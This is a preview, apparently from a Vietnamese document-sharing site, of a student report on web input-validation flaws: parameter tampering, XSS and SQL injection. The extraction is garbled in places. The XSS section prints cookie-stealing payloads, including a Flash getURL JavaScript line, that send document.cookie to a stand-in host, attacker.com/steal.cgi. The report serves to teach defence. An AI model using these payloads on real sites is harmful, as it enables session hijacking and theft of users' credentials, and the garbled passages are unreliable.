1. Trang chủ
  2. » Tất cả

TÌM HIỂU lỗi KHÔNG KIỂM SOÁT đầu vào của ứng dụng XSS, SQL

34 1 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Nội dung

TÌM HIỂU LỖI KHÔNG KIỂM SOÁT ĐẦU VÀO CỦA ỨNG DỤNG (SQL INJECTION, XSS ) LỜI NÓI ĐẦU Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu giới thiệu thông tin của mình trê.

TÌM HIỂU LỖI KHƠNG KIỂM SỐT ĐẦU VÀO CỦA ỨNG DỤNG (SQL INJECTION, XSS ) LỜI NÓI ĐẦU Ngày nay, Internet phổ biến rộng rãi, tổ chức, cá nhân có nhu cầu giới thiệu thơng tin xa lộ thơng tin thực hiệncác phiên giao dịch trực tuyến Vấn đề nảy sinh phạm vi ứng dụng củacác ứng dụng Web ngày mở rộng khả xuất lỗi (lỗ hổng) bị công cao, trở thành đối tượng cho nhiều người công với mục đích khác Đơi khi, đơn giản để thử tài đùa bỡn với người khác Cùng với phát triển không ngừng Internet dịch vụ đó, số lượng vụ cơng Internet tăng theo cấp số nhân Trong phương tiện thông tin đại chúng ngày nhắc nhiều đến khả truy nhập thông tin Internet, tài liệu chun mơn bắt đầu đề cập nhiều đến vấn đề bảo đảm an toàn liệu cho máy tính kết nối vào mạng Internet Nguyên nhân chủ yếu làm cho vụ cơng tăng nhanh có nhiều “lỗ hổng” tìm thấy ứng dụng Web Khơng số lượng cơng tăng lên nhanh chóng, mà phương pháp công ngày tinh vi có tổ chức Mặt khác, việc quản trị hệ thống mạng đòi hỏi nhà quản trị hệ thống có kiến thức kinh nghiệmvề hệ thống mạng chắn, yếu quản lý tạo nhiều điều kiện cho hacker khai thác Báo cáo thực hịên với mục đích tìm hiểu, phân tích lỗ hổng bảo mật ứng dụng Web (cùng với demo minh họa) để qua đề xuất phương án sửa chữa Nội dung báo cáo bao gồm chương:  Chương 1:  Chương 2:  Chương 3: MỤC LỤC CHƯƠNG Tổng quan Tấn công ứng dụng web 1.1 Vấn đề an toàn mạng 1.2 Ứng dụng Web .5 1.2.1 Khái niệm ứng dụng Web .5 1.2.2 Các nguy hệ thống Web .6 1.2.3 Các hình thức công ứng dụng Web 1.3 Lỗ hổng bảo mật 1.3.1 Khái niệm lỗ hổng bảo mật 1.3.2 Quá trình khai thác 1.3.3 Các mức công hệ thống CHƯƠNG Lỗi khơng kiểm sốt đầu vào ứng dụng 10 2.1 Thao tác tham số truyền (Parameter Tampering) 10 2.1.1 Chỉnh sửa HTTP Header (HTTP Header malipulation) 10 2.1.2 Chỉnh sửa địa URL (URL Malipulation) 12 2.1.3 Chỉnh sửa trường ẩn Form (Hidden Form Field Malipulation) 13 2.1.4 Thao tác cookie 14 2.1.5 Nhận xét 16 2.2 Chèn mã lệnh thực thi trình duyệt nạn nhân (Cross Site Scripting) 16 2.2.1 Kĩ thuật công Cross Site SCRIPTING (XSS) .16 2.2.2 Phương pháp công XSS truyền thống 18 2.2.3 Phương pháp công XSS Flash 20 2.3 Tấn công kiểu “chèn câu lệnh truy vấn” (sql injection) .21 2.3.1 Tấn công vượt qua kiểm tra đăng nhập .22 2.3.2 Tấn công sử dụng câu lệnh SELECT 23 2.3.3 Tấn công sử dụng câu lệnh INSERT 25 2.3.4 Tấn công sử dụng Stored-Procedures 26 2.3.5 Tấn công sử dụng lệnh HAVING, UNION, GROUP BY 26 2.3.6 Tấn công nâng cao khác 27 2.3.7 Giải pháp phòng chống .28 CHƯƠNG DEMO TẤN CÔNG SQL INJECTION 30 3.1 Chuẩn bị .30 3.2 Q trình thực cơng 30 3.3 Phòng chống SQL Injection .33 CHƯƠNG TỔNG QUAN VỀ TẤN CÔNG ỨNG DỤNG WEB 1.1 Vấn đề an toàn mạng An toàn mạng lĩnh vực có nhiệm vụ bảo vệ thơng tin, bảo vệ liệu, bảo mật, chống đánh cắp, thay đổi liệu hacker gây Các hacker cơng trực tiếp công dựa lỗ hổng bảo mật Một số thủ đoạn cơng mạng thơng dụng gồm có: - Cài đặt Spyware, Keylogger, Backdoor, Sniffer - Tấn công từ chối dịch vụ DDoS- Botnet - Tấn công lỗ hổng bảo mật web - Sử dụng Proxy công mạng - Tấn công tầng ứng dụng - Tấn công khai thác mối quan hệ tin cậy 1.2 Lỗ hổng bảo mật 1.2.1 Khái niệm lỗ hổng bảo mật Lỗ hổng bảo mật yếu hệ thống ẩn chứa dịch vụ đó, mà dựa vào kẻ cơng xâm nhập trái phép để thực hành động phá hoại chiếm đoạt tài nguyên bất hợp pháp Ngay phần mềm tầm trung đơn giản, phục vụ vài tác vụ chuyên biệt tạo thành từ lượng lớn code Cấu trúc phần mềm thiết kế người, dòng code viết người, việc xuất lỗi tránh khỏi Trong phần lớn trường hợp, phần mềm sản xuất cách chuyên nghiệp – lỗi có tác động q lớn, đến khía cạnh bảo mật Cùng ta thấy vài chức không hoạt động, đôi lúc phần mềm “treo” làm việc làm việc chậm chạp Nhưng nói khơng có nghĩa lỗi nghiêm trọng liên quan đến bảo mật xảy Nói cụ thể chút, lỗi phần mềm mà người ngồi khai thác để tác động thay đổi cách phần mềm vận hành, đưa thêm vào đoạn mã tự viết, xem liệu mà phần mềm quản lí Ngồi nguyên nhân chủ quan bất cẩn sử dụng người dùng (click vào đường link lạ, download phần mềm độc hại), lỗi khe hở mà tin tặc thường tập trung khai thác để xâm nhập vào hệ thống máy móc – từ máy chủ đến máy cá nhân người dùng cuối Nếu lỗ hổng thuộc phần mềm không phổ biến, phục vụ vài tác vụ đơn giản khơng có vai trò quan trọng hệ thống, hiển nhiên hiểm họa bảo mật có khơng nghiêm trọng Nhưng hệ thống phần mềm phức tạp, đồ sộ hiển nhiên việc kiểm sốt xuất lỗi khó – kĩ sư thiết kế có trình độ cao đến đâu Và phần mềm lại thường chiếm vai trị chủ chốt, tác động đến nhiều ngóc ngách hệ thống Nhờ len lỏi qua kẽ hở tạo lỗi phần mềm này, kẻ xấu thực thay đổi định lên máy móc người dùng, hay nắm quyền điều khiển, truy cập thông tin nhạy cảm 1.2.2 Quá trình khai thác Cần hiểu rằng, cơng cụ bảo mật đại ngày tường lửa, phần mềm anti-virus, anti-malware… thường có chế hoạt động thơng minh để phát đoạn mã có hành vi đáng ngờ, đoạn mã có sẵn sở liệu virus, malware hay không Cũng tương tự trinh sát dày dạn phát dấu hiệu khả nghi kẻ trộm mà không cần lệnh truy nã hay chữ “trộm” to đùng trước trán Tuy nói, trường hợp xấu tin tặc phát lỗi chưa biết tới, viết công cụ hoàn toàn để khai thác Một kẻ đủ khả để đích đua (ở khơng nói đến đối tượng sử dụng lại công cụ) hẳn nhiên thừa kinh nghiệm việc tránh ánh mắt dò xét cơng cụ bảo mật Vì lỗ hổng hoàn toàn vá, biện pháp mà công cụ bảo mật cung cấp mang tính tạm thời Chuỗi kiện điển hình thường sau: - Xuất lỗ hổng bị khai thác cơng nghệ có - Kẻ công phát lỗ hổng - Kẻ tiến hành viết phát tán công cụ khai thác lỗ hổng - Hãng sản xuất đồng thời phát lỗi tìm cách sửa chữa - Lỗ hổng cơng bố ngồi - Các phần mềm anti-virus cập nhật thông tin để phát có đoạn mã tìm cách khai thác lỗ hổng - Hãng sản xuất hoàn thành vá - Hãng hoàn tất phát hành vá lỗi đến tất khách hàng 1.2.3 Các mức công hệ thống Mức 1: Tấn công vào số dịch vụ mạng: Web, email,… dẫn đến Nguy lộ thơng tin cấu hình mạng Mức 2: Kẻ phá hoại dùng tài khoản người dùng hợp pháp để chiếm đoạt tài nguyên hệ thống Kẻ phá hoại thay đổi quyền truy nhập qua lỗ hổng bảo mật đọc thông tin tập tin liên quan đến truy nhập hệ thống như: /etc/passwd (Linux) SAM file (windows) Mức 3, 4, 5: Kẻ phá hoại không sử dụng quyền người dùng thông thường, mà có thêm quyền cao với hệ thống quyền kích hoạt số dịch vụ, xem thông tin khác hệ thống Mức 6: Kẻ công chiếm quyền root admin hệ thống 1.3 Ứng dụng Web 1.3.1 Khái niệm ứng dụng Web Khi trang Web tồn Internet, lưu trữ nơi để người dùng truy xuất tới, Webserver Webserver có nhiệm vụ lưu trữ trang Web để Webclient truy xuất tới Ứng dụng Web ứng dụng chủ/khách (client/server) sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác Trình khách dành cho người dùng thường trình duyệt Web Internet Explorer hay Netscape Navigator Cũng chương trình đóng vai trò đại lý người dùng hoạt động trình duyệt tự động Người dùng gửi nhận thơng tin từ trình chủ thơng qua việc tác động vào trang Web Các chương trình trang trao đổi mua bán, diễn đàn, gửi nhận e-mail… Tốc độ phát triển kỹ thuật xây dựng ứng dụng Web phát triển nhanh Trước ứng dụng Web thường xây dựng CGI (Common Gateway Interface), chạy trình chủ Web kết nối vào CSDL đơn giản máy chủ Ngày ứng dụng Web thường viết Java (hay ngôn ngữ tương tự), chạy máy chủ phân tán, kết nối đến nhiều nguồn liệu Một ứng dụng Web thường có kiến trúc: Lớp trình bày: Lớp có nhiệm vụ hiển thị liệu cho người dùng, cịn có thêm ứng dụng tạo bố cục cho trang Web Lớp ứng dụng: nơi xử lý ứng dụng Web Nó xử lý thơng tin người dùng yêu cầu, đưa định, gửi kết đến “lớp trình bày” Lớp thường cài đặt kỹ thuật lập trình CGI, Java, PHP hay ColdFusion, triển khai trình chủ IBM WebSphere, WebLogic, Apache, IIS,… Lớp liệu: thường hệ quản trị CSDL (DBMS-database management system) chịu trách nhiệm quản lý file liệu quyền sử dụng 1.3.2 Các nguy hệ thống Web - Nguy bị công từ chối dịch vụ (DoS, DDoS) làm cho hệ thống không cịn khả phục vụ u cầu đáng - Nguy bị thay đổi nội dung trang Web làm giảm uy tín và/hoặc bơi nhọ tổ chức - Nguy bị kẻ xấu làm sai lệch thông tin thực giao dịch điện tử môi trường Internet - Nguy bị đánh cắp thông tin nhạy cảm như: thông tin tài khoản, mật truy cập hệ thống thơng tin thẻ tín dụng,… 1.3.3 Các hình thức cơng ứng dụng Web Có hình thức cơng ứng dụng Web chủ yếu: - Tấn công dựa vào kiểu quản lý phiên làm việc (Session Management) - Tấn công lợi dụng thiếu sót kiểm tra liệu nhập vào hợp lệ (Input validation) - Tấn công sở hạ tầng mạng (Infrastructure) - Tấn công dựa vào việc để lộ thơng tin (privacy violations) - Tấn cơng kiểm sốt truy cập (Excessive permission and privileges) 1.4 Các hình thức cơng dựa lợi dụng thiếu sót kiểm tra liệu hợp lệ - Kiểm tra tính đắn liệu ngơn ngữ phía trình duyệt - Tràn đệm - Mã hóa URL - Kí tự Meta - Vượt qua đường dẫn - Chèn mã lệnh thực thi trình duyệtnạn nhân - Thêm câu lệnh hệ thống - Chèn câu truy vấn SQL - Ngôn ngữ phía máy chủ - Kí tự rỗng - Thao tác tham số truyền CHƯƠNG LỖI KHÔNG KIỂM SOÁT ĐẦU VÀO CỦA ỨNG DỤNG 2.1 Thao tác tham số truyền (Parameter Tampering) Thao tác tham số truyền kĩ thuật thay đổi thông tin quan trọng cookie, URL hay biến ẩn form Kĩ thuật Cross-Site Scripting, SessionID, SQL Injection, Buffer Overflow…cũng cần dùng đến tham số để hoàn thiện bước cơng hacker Có thể nói tham số truyền đầu mối cho hoạt động hacker q trình cơng ứng dụng 2.1.1 Chỉnh sửa HTTP Header (HTTP Header malipulation) URL, biến ẩn form, cookie thành phần lưu trữ thông tin mà người dùng thơng thường xem thay đổi Tuy nhiên, thành phần chuyển thơng qua HTTP Header Vì thế, HTTP Header khơng phải tham số truyền ứng dụng thơng tin lưu trữ vào trước chuyển nên phần đề cập đến việc thay đổi HTTP Header - Khái niệm “HTTP Header”: HTTP Header phần đầu thông tin mà trình khách trình chủ gửi cho Thơng tin trình khách gửi cho trình chủ HTTP requests (yêu cầu), ngược lại HTTP responses (trả lời) Thông thường, HTTP header gồm nhiều dòng, dòng chứa tên tham số giá trị Một số tham số dùng header yêu cầu header trả lời, cịn số khác đuợc dùng riêng loại - Cấu trúc Header HTTP request: GET /tintuc/homnay.asp HTTP/1.1 Accept: */* Accept_Language: en-us Connection: Keep-Alive Host: localhost Referer: http://localhost/lienket.asp User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Accept-Encoding: gzip, deflate Ý nghĩa: (1) (2) (3) (4) (5) (6) (7) (8) + Dòng (1) cho biết phương thức yêu cầu (GET POST), địa yêu cầu (/tintuc/homnay.asp) phiên HTTP/1.1 + Accept-Language: Cho biết ngôn ngữ dùng trang Web + Host: Cho biết địa máy chủ + Referer: Cho biết địa trang Web tham chiếu tới + User-Agent: thông tin từ máy người dùng l.cgi?'+ document.cookie);"> Một phần thưởng hấp dẫn chờ bạn Sau người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn chờ bạn”, cookie máy nạn nhân bị đánh cắp tham số truyền vào cho chương trình steal.cgi hacker http://www.attacker.com/steal.cgi? lubid=010000508BD3046103F43B8264530098C20100000000; %20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=1019511286 Vấn đề đặt người lập trình bảo vệ ứng dụng Web cách lọc kí tự đặc biệt ‘, hay + (có thể tránh trường hợp dùng dấu ‘ để thực câu truy vấn SQL chẳng hạn)… Nhưng hacker lợi dụng mã hex thay cho kí tự đặc biệt để công cách thay số hex cho kí tự ASCII 2.2.3 Phương pháp cơng XSS Flash Ngồi cách đưa đoạn mã nguy hiểm hacker cịn lợi dụng tập tin flash để đánh cắp thông tin Macromedia Flash cho phép lập trình ngơn ngữ kịch xây dụng sẵn Flash ActionScript ActionScript có cú pháp đơn giản tương tự JavaScript, C hay PERL Ví dụ hàm getURL() dùng để gọi trang Web khác, tham số thường URL chẳng hạn “http://www.yahoo.com” Hàm getURL() sau: getURL(“http://www.yahoo.com”) Tuy nhiên thay URL JavaScript: getURL(“javascript:alert(document.cookie)”) Câu lệnh làm xuất bảng thông báo chứa cookie trang Web chứa tập tin flash Như trang Web bị công, cách chèn đoạn JavaScript vào ứng dụng Web thơng qua tập tin flash Một ví dụ khác rõ cách công là: Đây đoạn lệnh tập tin flash thi hành tập tin flash đọc: getURL(“javascript:location(‘http://www.attacker.com? newcookie=’+document.cookie)”) Như người dùng xem trang Web chứa tập tin flash cookie họ trang Web chứa tập tin flash tạo gửi cho hacker ... nội dung chuỗi URL, ứng dụng áp dụng biện pháp sau: + Ứng dụng sử dụng chế bảng băm (hash table) Sau người dùng chứng thực thành công với username, ứng dụng sinh khoá tương ứng Khoá lưu server... thống Ứng dụng Web thường lưu trữ thông tin quan trọng cookie Cookie mẩu thông tin mà ứng dụng lưu đĩa cứng người sử dụng Nhưng ứng dụng thiết lập cookie đọc Do người dùng phiên làm việc ứng dụng. .. Thêm câu lệnh hệ thống - Chèn câu truy vấn SQL - Ngơn ngữ phía máy chủ - Kí tự rỗng - Thao tác tham số truyền CHƯƠNG LỖI KHƠNG KIỂM SỐT ĐẦU VÀO CỦA ỨNG DỤNG 2.1 Thao tác tham số truyền (Parameter

Ngày đăng: 17/11/2022, 15:29

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w